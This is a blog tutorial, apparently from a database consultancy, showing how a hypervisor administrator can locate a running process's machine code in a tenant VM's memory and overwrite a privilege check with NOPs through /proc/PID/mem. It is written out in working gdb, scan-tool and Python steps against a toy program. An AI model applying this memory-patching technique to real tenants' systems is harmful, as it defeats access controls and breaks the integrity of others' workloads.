Binary patching/hacking VM process


18.09.2023
by Kamil Stawiarski

We are continuing our journey as an evil KVM administrator who wants to mess with a tenants virtual machines.

This time we will modify a binary execution code path by changing machine code opcodes in a running process!

Let’s image a simple C program, that looks like this:

1#include <stdio.h>
2#include <unistd.h>
3 
4int check_priv() {
5    int uid = getuid();
6    if(uid == 0 || uid == 666) {
7        return 0;
8    } else {
9        return -1;
10    }
11}
12 
13int main() {
14 
15    while(1) {
16        if(check_priv() == 0) {
17            printf("You are a superuser!\n");
18        } else {
19            printf("You are not that super\n");
20        }
21        sleep(1);
22    }
23    return 0;
24}

This short code will show "You are a superuser!" if our UID is 0 or 666 and in all other cases it will show "You are not that super".

After compiling and executing the code, you will see the following output:

1[oracle@dbVictim ~]$ ./check_privs
2You are not that super
3You are not that super
4You are not that super
5You are not that super
6^C

Let’s disassemble check_priv function to understand what is going on under the hood:

1(gdb) disas /r check_priv
2Dump of assembler code for function check_priv:
3   0x0000000000400616 <+0>:   55  push   %rbp
4   0x0000000000400617 <+1>:   48 89 e5    mov    %rsp,%rbp
5   0x000000000040061a <+4>:   48 83 ec 10 sub    $0x10,%rsp
6   0x000000000040061e <+8>:   e8 ed fe ff ff  callq  0x400510 <getuid@plt>
7   0x0000000000400623 <+13>:  89 45 fc    mov    %eax,-0x4(%rbp)
8   0x0000000000400626 <+16>:  83 7d fc 00 cmpl   $0x0,-0x4(%rbp)
9   0x000000000040062a <+20>:  74 09   je     0x400635 <check_priv+31>
10   0x000000000040062c <+22>:  81 7d fc 9a 02 00 00    cmpl   $0x29a,-0x4(%rbp)
11   0x0000000000400633 <+29>:  75 07   jne    0x40063c <check_priv+38>
12   0x0000000000400635 <+31>:  b8 00 00 00 00  mov    $0x0,%eax
13   0x000000000040063a <+36>:  eb 05   jmp    0x400641 <check_priv+43>
14   0x000000000040063c <+38>:  b8 ff ff ff ff  mov    $0xffffffff,%eax
15   0x0000000000400641 <+43>:  c9  leaveq
16   0x0000000000400642 <+44>:  c3  req
  • callq 0x400510 <getuid@plt>: here we are calling a getuid function – the result of this function is stored at EAX register;
  • mov %eax,-0x4(%rbp): in here we are storing the EAX register value at memory offset, pointed by RBP, minus 4 bytes;
  • cmpl $0x0,-0x4(%rbp): this is comparing "0″ and a value on a memory offset we used earlier to store the result from getuid function;
  • je 0x400635 <check_priv+31>: if the compared values are equal – jump to the 31th byte of this function;
  • cmpl $0x29a,-0x4(%rbp): now compare 0x29a (666) with the memory offset we used earlier to store the result from getuid function ;
  • jne 0x40063c <check_priv+38>: if they are not equal – jump to the 38th byte of the function ;
  • mov $0x0,%eax: store value "0″ on the return registry;
  • jmp 0x400641 <check_priv+43>: jump to byte 43 of this function;
  • mov $0xffffffff,%eax: set value "-1″ on the return registry;
  • leaveq: Prepares the stack for leaving a function
  • retq: return from the function

As you can see, depending on the jump instructions, the return registry is either set with value 0 or with value -1. We want it to be set always to value "0″.

When this would be possible? There’s an awesome instruction called NOP – it basically means: "do nothing and check next byte".

So we would like our code to look like this in the assembly:

1Dump of assembler code for function check_priv:
2   0x0000000000400616 <+0>:   55  push   %rbp
3   0x0000000000400617 <+1>:   48 89 e5    mov    %rsp,%rbp
4   0x000000000040061a <+4>:   48 83 ec 10 sub    $0x10,%rsp
5   0x000000000040061e <+8>:   e8 ed fe ff ff  callq  0x400510 <getuid@plt>
6   0x0000000000400623 <+13>:  90  nop
7   0x0000000000400624 <+14>:  90  nop
8   0x0000000000400625 <+15>:  90  nop
9   0x0000000000400626 <+16>:  90  nop
10   0x0000000000400627 <+17>:  90  nop
11   0x0000000000400628 <+18>:  90  nop
12   0x0000000000400629 <+19>:  90  nop
13   0x000000000040062a <+20>:  90  nop
14   0x000000000040062b <+21>:  90  nop
15   0x000000000040062c <+22>:  90  nop
16   0x000000000040062d <+23>:  90  nop
17   0x000000000040062e <+24>:  90  nop
18   0x000000000040062f <+25>:  90  nop
19   0x0000000000400630 <+26>:  90  nop
20   0x0000000000400631 <+27>:  90  nop
21   0x0000000000400632 <+28>:  90  nop
22   0x0000000000400633 <+29>:  90  nop
23   0x0000000000400634 <+30>:  90  nop
24   0x0000000000400635 <+31>:  b8 00 00 00 00  mov    $0x0,%eax
25   0x000000000040063a <+36>:  eb 05   jmp    0x400641 <check_priv+43>
26   0x000000000040063c <+38>:  b8 ff ff ff ff  mov    $0xffffffff,%eax

The binary code of our function looks right now like this: "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3″

As an evil KVM administrator, I could find this piece of code running inside a VM:

1./focs_vm/target/release/focs_vm -p 15800 -m $((6291456*1024)) -h "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3"
1Scanned: 64 %
2Found 1 positions in a chunk
3Offset: 140697484953110
4 
5Length: 256 (0x100) bytes
60000:   55 48 89 e5  48 83 ec 10  e8 ed fe ff  ff 89 45 fc   UH..H.........E.
70010:   83 7d fc 00  74 09 81 7d  fc 9a 02 00  00 75 07 b8   .}..t..}.....u..
80020:   00 00 00 00  eb 05 b8 ff  ff ff ff c9  c3 55 48 89   .............UH.
90030:   e5 b8 00 00  00 00 e8 c5  ff ff ff 85  c0 75 0c bf   .............u..
100040:   18 07 40 00  e8 a1 fe ff  ff eb 0a bf  2d 07 40 00   ..@.........-.@.
110050:   e8 95 fe ff  ff bf 01 00  00 00 e8 ab  fe ff ff eb   ................
120060:   d0 66 0f 1f  84 00 00 00  00 00 f3 0f  1e fa 41 57   .f............AW
130070:   49 89 d7 41  56 49 89 f6  41 55 41 89  fd 41 54 4c   I..AVI..AUA..ATL
140080:   8d 25 64 07  20 00 55 48  8d 2d 64 07  20 00 53 4c   .%d. .UH.-d. .SL
150090:   29 e5 48 83  ec 08 e8 1f  fe ff ff 48  c1 fd 03 74   ).H........H...t
1600a0:   1f 31 db 0f  1f 80 00 00  00 00 4c 89  fa 4c 89 f6   .1........L..L..
1700b0:   44 89 ef 41  ff 14 dc 48  83 c3 01 48  39 dd 75 ea   D..A...H...H9.u.
1800c0:   48 83 c4 08  5b 5d 41 5c  41 5d 41 5e  41 5f c3 66   H...[]A\A]A^A_.f
1900d0:   66 2e 0f 1f  84 00 00 00  00 00 f3 0f  1e fa c3 00   f...............
2000e0:   00 00 f3 0f  1e fa 48 83  ec 08 48 83  c4 08 c3 00   ......H...H.....
2100f0:   00 00 01 00  02 00 00 00  00 00 00 00  00 00 00 00   ................

Now we can try to modify binary this part of the memory to change execution path of our program:

1>>> import binascii
2>>> f = open("/proc/15800/mem", "rb+")
3>>> f.seek(140697484953110+13)
4>>> nop = binascii.unhexlify("90")
5>>> for i in range(17):
6...   nop += binascii.unhexlify("90")
7...
8>>> len(nop)
918
10>>> f.write(nop)
11>>> f.flush()

By doing this, I jumped 13 bytes further than the beginning of my function and I added 18 NOP instructions, to jump directly to offset @31 and force my function to return desired value!

On my victim machine I will immediately see the desired output:

1You are not that super
2You are not that super
3You are not that super
4You are not that super
5You are not that super
6You are a superuser!
7You are a superuser!
8You are a superuser!
9You are a superuser!
10You are a superuser!

And that’s it! We have changed the assembly of our program to do what we wanted 🙂

Stay tuned for more!


Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
REGON:362524978
+48 508 943 051
+48 661 966 009
info@ora-600.pl

Newsletter Sign up to be updated